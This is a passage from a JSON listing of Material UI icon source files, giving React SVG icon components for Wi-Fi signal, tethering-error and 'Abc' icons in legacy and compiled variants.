    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.5 14.5c0-2.8 2.2-5 5-5 .36 0 .71.04 1.05.11L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7L12 21.5l3.5-4.36V14.5z\" /><path d=\"M15.5 14.5c0-1.34.51-2.53 1.34-3.42C15.62 10.51 13.98 10 12 10c-4.1 0-6.8 2.2-7.2 2.5l7.2 9 3.5-4.38V14.5zM23 16v-1.5c0-1.4-1.1-2.5-2.5-2.5S18 13.1 18 14.5V16c-.5 0-1 .5-1 1v4c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-4c0-.5-.5-1-1-1zm-1 0h-3v-1.5c0-.8.7-1.5 1.5-1.5s1.5.7 1.5 1.5V16z\" /></React.Fragment>\n, 'SignalWifi2BarLockOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi2BarLockRounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.5 14.5c0-2.8 2.2-5 5-5 .36 0 .71.04 1.05.11L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7l10.08 12.56c.8 1 2.32 1 3.12 0l1.94-2.42V14.5z\" /><path d=\"M15.5 14.5c0-1.34.51-2.53 1.34-3.42C15.62 10.51 13.98 10 12 10c-4.1 0-6.8 2.2-7.2 2.5l5.64 7.05c.8 1 2.32 1 3.12 0l1.94-2.42V14.5zM23 16v-1.5c0-1.4-1.1-2.5-2.5-2.5S18 13.1 18 14.5V16c-.5 0-1 .5-1 1v4c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-4c0-.5-.5-1-1-1zm-1 0h-3v-1.5c0-.8.7-1.5 1.5-1.5s1.5.7 1.5 1.5V16z\" /></React.Fragment>\n, 'SignalWifi2BarLockRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi2BarLockSharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M23 16v-1.5c0-1.4-1.1-2.5-2.5-2.5S18 13.1 18 14.5V16h-1v6h7v-6h-1zm-1 0h-3v-1.5c0-.8.7-1.5 1.5-1.5s1.5.7 1.5 1.5V16z\" /><path fillOpacity=\".3\" d=\"M15.5 14.5c0-2.8 2.2-5 5-5 .36 0 .71.04 1.05.11L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7L12 21.5l3.5-4.36V14.5z\" /><path d=\"M15.5 14.5c0-1.34.51-2.53 1.34-3.42C15.62 10.51 13.98 10 12 10c-4.1 0-6.8 2.2-7.2 2.5l7.2 9 3.5-4.38V14.5z\" /></React.Fragment>\n, 'SignalWifi2BarLockSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi2BarLockTwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.5 14.5c0-2.8 2.2-5 5-5 .36 0 .71.04 1.05.11L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7L12 21.5l3.5-4.36V14.5z\" /><path d=\"M15.5 14.5c0-1.34.51-2.53 1.34-3.42C15.62 10.51 13.98 10 12 10c-4.1 0-6.8 2.2-7.2 2.5l7.2 9 3.5-4.38V14.5zM23 16v-1.5c0-1.4-1.1-2.5-2.5-2.5S18 13.1 18 14.5V16c-.5 0-1 .5-1 1v4c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-4c0-.5-.5-1-1-1zm-1 0h-3v-1.5c0-.8.7-1.5 1.5-1.5s1.5.7 1.5 1.5V16z\" /></React.Fragment>\n, 'SignalWifi2BarLockTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi2BarOutlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7L12 21.5 23.64 7z\" /><path d=\"M4.79 12.52L12 21.5l7.21-8.99C18.85 12.24 16.1 10 12 10s-6.85 2.24-7.21 2.52z\" /></React.Fragment>\n, 'SignalWifi2BarOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi2BarRounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7l10.08 12.56c.8 1 2.32 1 3.12 0L23.64 7z\" /><path d=\"M4.79 12.52l5.65 7.04c.8 1 2.32 1 3.12 0l5.65-7.05C18.85 12.24 16.1 10 12 10s-6.85 2.24-7.21 2.52z\" /></React.Fragment>\n, 'SignalWifi2BarRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi2BarSharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7L12 21.5 23.64 7z\" /><path d=\"M4.79 12.52L12 21.5l7.21-8.99C18.85 12.24 16.1 10 12 10s-6.85 2.24-7.21 2.52z\" /></React.Fragment>\n, 'SignalWifi2BarSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi2BarTwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7L12 21.5 23.64 7z\" /><path d=\"M4.79 12.52L12 21.5l7.21-8.99C18.85 12.24 16.1 10 12 10s-6.85 2.24-7.21 2.52z\" /></React.Fragment>\n, 'SignalWifi2BarTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi3Bar.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M12.01 21.49L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7l11.63 14.49.01.01.01-.01z\" /><path d=\"M3.53 10.95l8.46 10.54.01.01.01-.01 8.46-10.54C20.04 10.62 16.81 8 12 8c-4.81 0-8.04 2.62-8.47 2.95z\" /></React.Fragment>\n, 'SignalWifi3Bar');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi3BarLock.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path d=\"M12 3C5.3 3 .8 6.7.4 7l3.2 3.9L12 21.5l3.5-4.3v-2.6c0-2.2 1.4-4 3.3-4.7.3-.1.5-.2.8-.2.3-.1.6-.1.9-.1.4 0 .7 0 1 .1L23.6 7c-.4-.3-4.9-4-11.6-4z\" opacity=\".3\" /><path d=\"M23 16v-1.5c0-1.4-1.1-2.5-2.5-2.5S18 13.1 18 14.5V16c-.5 0-1 .5-1 1v4c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-4c0-.5-.5-1-1-1zm-1 0h-3v-1.5c0-.8.7-1.5 1.5-1.5s1.5.7 1.5 1.5V16zm-10 5.5l3.5-4.3v-2.6c0-2.2 1.4-4 3.3-4.7C17.3 9 14.9 8 12 8c-4.8 0-8 2.6-8.5 2.9\" /></React.Fragment>\n, 'SignalWifi3BarLock');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi3BarLockOutlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.5 14.5c0-2.8 2.2-5 5-5 .36 0 .71.04 1.05.11L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7L12 21.5l3.5-4.36V14.5z\" /><path d=\"M23 16v-1.5c0-1.4-1.1-2.5-2.5-2.5S18 13.1 18 14.5V16c-.5 0-1 .5-1 1v4c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-4c0-.5-.5-1-1-1zm-1 0h-3v-1.5c0-.8.7-1.5 1.5-1.5s1.5.7 1.5 1.5V16zm-6.5-1.5c0-2.19 1.35-3.99 3.27-4.68C17.29 8.98 14.94 8 12 8c-4.81 0-8.04 2.62-8.47 2.95L12 21.5l3.5-4.36V14.5z\" /></React.Fragment>\n, 'SignalWifi3BarLockOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi3BarLockRounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.5 14.5c0-2.8 2.2-5 5-5 .36 0 .71.04 1.05.11L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7l10.08 12.56c.8 1 2.32 1 3.12 0l1.94-2.42V14.5z\" /><path d=\"M15.5 14.5c0-2.19 1.35-3.99 3.27-4.68C17.29 8.98 14.94 8 12 8c-4.81 0-8.04 2.62-8.47 2.95l6.91 8.61c.8 1 2.32 1 3.12 0l1.94-2.42V14.5zM23 16v-1.5c0-1.4-1.1-2.5-2.5-2.5S18 13.1 18 14.5V16c-.5 0-1 .5-1 1v4c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-4c0-.5-.5-1-1-1zm-1 0h-3v-1.5c0-.8.7-1.5 1.5-1.5s1.5.7 1.5 1.5V16z\" /></React.Fragment>\n, 'SignalWifi3BarLockRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi3BarLockSharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.5 14.5c0-2.8 2.2-5 5-5 .36 0 .71.04 1.05.11L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7L12 21.5l3.5-4.36V14.5z\" /><path d=\"M23 16v-1.34c0-1.47-1.2-2.75-2.66-2.66-1.33.09-2.34 1.16-2.34 2.5V16h-1v6h7v-6h-1zm-1 0h-3v-1.5c0-.8.7-1.5 1.5-1.5s1.5.7 1.5 1.5V16zm-6.5-1.5c0-2.19 1.35-3.99 3.27-4.68C17.29 8.98 14.94 8 12 8c-4.81 0-8.04 2.62-8.47 2.95L12 21.5l3.5-4.36V14.5z\" /></React.Fragment>\n, 'SignalWifi3BarLockSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi3BarLockTwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M15.5 14.5c0-2.8 2.2-5 5-5 .36 0 .71.04 1.05.11L23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7L12 21.5l3.5-4.36V14.5z\" /><path d=\"M23 16v-1.5c0-1.4-1.1-2.5-2.5-2.5S18 13.1 18 14.5V16c-.5 0-1 .5-1 1v4c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-4c0-.5-.5-1-1-1zm-1 0h-3v-1.5c0-.8.7-1.5 1.5-1.5s1.5.7 1.5 1.5V16zm-6.5-1.5c0-2.19 1.35-3.99 3.27-4.68C17.29 8.98 14.94 8 12 8c-4.81 0-8.04 2.62-8.47 2.95L12 21.5l3.5-4.36V14.5z\" /></React.Fragment>\n, 'SignalWifi3BarLockTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi3BarOutlined.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7L12 21.5 23.64 7z\" /><path d=\"M3.53 10.95L12 21.5l8.47-10.55C20.04 10.62 16.81 8 12 8s-8.04 2.62-8.47 2.95z\" /></React.Fragment>\n, 'SignalWifi3BarOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi3BarRounded.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7l10.08 12.56c.8 1 2.32 1 3.12 0L23.64 7z\" /><path d=\"M3.53 10.95l6.91 8.61c.8 1 2.32 1 3.12 0l6.91-8.61C20.04 10.62 16.81 8 12 8s-8.04 2.62-8.47 2.95z\" /></React.Fragment>\n, 'SignalWifi3BarRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi3BarSharp.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7L12 21.5 23.64 7z\" /><path d=\"M3.53 10.95L12 21.5l8.47-10.55C20.04 10.62 16.81 8 12 8s-8.04 2.62-8.47 2.95z\" /></React.Fragment>\n, 'SignalWifi3BarSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/SignalWifi3BarTwoTone.js",
    "content": "import * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <React.Fragment><path fillOpacity=\".3\" d=\"M23.64 7c-.45-.34-4.93-4-11.64-4C5.28 3 .81 6.66.36 7L12 21.5 23.64 7z\" /><path d=\"M3.53 10.95L12 21.5l8.47-10.55C20.04 10.62 16.81 8 12 8s-8.04 2.62-8.47 2.95z\" /></React.Fragment>\n, 'SignalWifi3BarTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/WifiTetheringErrorRoundedOutlined.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M12 7c-3.31 0-6 2.69-6 6 0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.1-1.18 2.82l1.42 1.42C17.32 16.15 18 14.66 18 13c0-3.31-2.69-6-6-6zm0-4C6.48 3 2 7.48 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-4.42 3.58-8 8-8 2.53 0 4.78 1.17 6.24 3h2.42C18.93 5.01 15.7 3 12 3zm0 8c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41.36.36.86.59 1.41.59s1.05-.23 1.41-.59c.36-.36.59-.86.59-1.41 0-1.1-.9-2-2-2zm8-1h2v6h-2v-6zm0 8h2v2h-2v-2z\" />\n, 'WifiTetheringErrorRoundedOutlined');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/WifiTetheringErrorRoundedRounded.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M10.66 7.14c-2.24.48-4.04 2.3-4.52 4.54-.37 1.75.02 3.38.89 4.66.34.51 1.08.55 1.51.11.35-.35.37-.88.1-1.28-.5-.76-.75-1.71-.61-2.73.23-1.74 1.67-3.17 3.41-3.4C13.9 8.71 16 10.61 16 13c0 .8-.24 1.54-.64 2.16-.27.41-.25.95.1 1.29.43.43 1.17.4 1.51-.11C17.62 15.4 18 14.25 18 13c0-3.75-3.45-6.7-7.34-5.86zm-.41-3.99c-4.05.69-7.19 3.69-8.03 7.72-.66 3.17.2 6.16 1.97 8.38.37.46 1.07.49 1.49.07.36-.36.39-.93.07-1.32-1.34-1.67-2.03-3.9-1.66-6.28.55-3.47 3.42-6.24 6.92-6.65 2.76-.33 5.27.74 6.93 2.59.2.21.47.34.76.34.85 0 1.34-1.01.77-1.65-2.19-2.45-5.56-3.82-9.22-3.2zM12 11c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41.36.36.86.59 1.41.59s1.05-.23 1.41-.59c.36-.36.59-.86.59-1.41 0-1.1-.9-2-2-2zm9-1c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1s-1-.45-1-1v-4c0-.55.45-1 1-1zm0 8c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1z\" />\n, 'WifiTetheringErrorRoundedRounded');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/WifiTetheringErrorRoundedSharp.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M12 7c-3.31 0-6 2.69-6 6 0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.1-1.18 2.82l1.42 1.42C17.32 16.15 18 14.66 18 13c0-3.31-2.69-6-6-6zm0-4C6.48 3 2 7.48 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-4.42 3.58-8 8-8 2.53 0 4.78 1.17 6.24 3h2.42C18.93 5.01 15.7 3 12 3zm0 8c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41.36.36.86.59 1.41.59s1.05-.23 1.41-.59c.36-.36.59-.86.59-1.41 0-1.1-.9-2-2-2zm8-1h2v6h-2v-6zm0 8h2v2h-2v-2z\" />\n, 'WifiTetheringErrorRoundedSharp');\n"
  },
  {
    "path": "packages/mui-icons-material/legacy/WifiTetheringErrorRoundedTwoTone.js",
    "content": "import createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M12 7c-3.31 0-6 2.69-6 6 0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.1-1.18 2.82l1.42 1.42C17.32 16.15 18 14.66 18 13c0-3.31-2.69-6-6-6zm0-4C6.48 3 2 7.48 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-4.42 3.58-8 8-8 2.53 0 4.78 1.17 6.24 3h2.42C18.93 5.01 15.7 3 12 3zm0 8c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41.36.36.86.59 1.41.59s1.05-.23 1.41-.59c.36-.36.59-.86.59-1.41 0-1.1-.9-2-2-2zm8-1h2v6h-2v-6zm0 8h2v2h-2v-2z\" />\n, 'WifiTetheringErrorRoundedTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/lib/Abc.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11h-1.5v-.5h-2v3h2V13H21v1c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zM8 10v5H6.5v-1.5h-2V15H3v-5c0-.55.45-1 1-1h3c.55 0 1 .45 1 1m-1.5.5h-2V12h2zm7 1.5c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1h-4V9h4c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M11 10.5v.75h2v-.75zm2 2.25h-2v.75h2z\"\n}), 'Abc');"
  },
  {
    "path": "packages/mui-icons-material/lib/Abc.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11h-1.5v-.5h-2v3h2V13H21v1c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zM8 10v5H6.5v-1.5h-2V15H3v-5c0-.55.45-1 1-1h3c.55 0 1 .45 1 1m-1.5.5h-2V12h2zm7 1.5c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1h-4V9h4c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M11 10.5v.75h2v-.75zm2 2.25h-2v.75h2z\"\n}), 'Abc');"
  },
  {
    "path": "packages/mui-icons-material/lib/AbcOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11h-1.5v-.5h-2v3h2V13H21v1c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zM8 10v5H6.5v-1.5h-2V15H3v-5c0-.55.45-1 1-1h3c.55 0 1 .45 1 1m-1.5.5h-2V12h2zm7 1.5c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1h-4V9h4c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M11 10.5v.75h2v-.75zm2 2.25h-2v.75h2z\"\n}), 'AbcOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AbcOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11h-1.5v-.5h-2v3h2V13H21v1c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zM8 10v5H6.5v-1.5h-2V15H3v-5c0-.55.45-1 1-1h3c.55 0 1 .45 1 1m-1.5.5h-2V12h2zm7 1.5c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1h-4V9h4c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M11 10.5v.75h2v-.75zm2 2.25h-2v.75h2z\"\n}), 'AbcOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AbcRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.25 15c-.41 0-.75-.34-.75-.75v-.75h-2v.75c0 .41-.34.75-.75.75S3 14.66 3 14.25V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75m-.75-4.5h-2V12h2zm7 1.5c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M11 10.5v.75h2v-.75zm2 2.25h-2v.75h2zm8-2.5c0 .41-.34.75-.75.75-.33 0-.6-.21-.71-.5H17.5v3h2.04c.1-.29.38-.5.71-.5.41 0 .75.34.75.75V14c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1z\"\n}), 'AbcRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AbcRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.25 15c-.41 0-.75-.34-.75-.75v-.75h-2v.75c0 .41-.34.75-.75.75S3 14.66 3 14.25V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75m-.75-4.5h-2V12h2zm7 1.5c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M11 10.5v.75h2v-.75zm2 2.25h-2v.75h2zm8-2.5c0 .41-.34.75-.75.75-.33 0-.6-.21-.71-.5H17.5v3h2.04c.1-.29.38-.5.71-.5.41 0 .75.34.75.75V14c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1z\"\n}), 'AbcRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AbcSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11h-1.5v-.5h-2v3h2V13H21v2h-5V9h5zM8 9v6H6.5v-1.5h-2V15H3V9zm-1.5 1.5h-2V12h2zm7 1.5c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1h-4V9h4c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M11 10.5v.75h2v-.75zm2 2.25h-2v.75h2z\"\n}), 'AbcSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AbcSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11h-1.5v-.5h-2v3h2V13H21v2h-5V9h5zM8 9v6H6.5v-1.5h-2V15H3V9zm-1.5 1.5h-2V12h2zm7 1.5c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1h-4V9h4c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M11 10.5v.75h2v-.75zm2 2.25h-2v.75h2z\"\n}), 'AbcSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AbcTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11h-1.5v-.5h-2v3h2V13H21v1c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zM8 10v5H6.5v-1.5h-2V15H3v-5c0-.55.45-1 1-1h3c.55 0 1 .45 1 1m-1.5.5h-2V12h2zm7 1.5c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1h-4V9h4c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M11 10.5v.75h2v-.75zm2 2.25h-2v.75h2z\"\n}), 'AbcTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AbcTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11h-1.5v-.5h-2v3h2V13H21v1c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zM8 10v5H6.5v-1.5h-2V15H3v-5c0-.55.45-1 1-1h3c.55 0 1 .45 1 1m-1.5.5h-2V12h2zm7 1.5c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1h-4V9h4c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M11 10.5v.75h2v-.75zm2 2.25h-2v.75h2z\"\n}), 'AbcTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AcUnit.js",
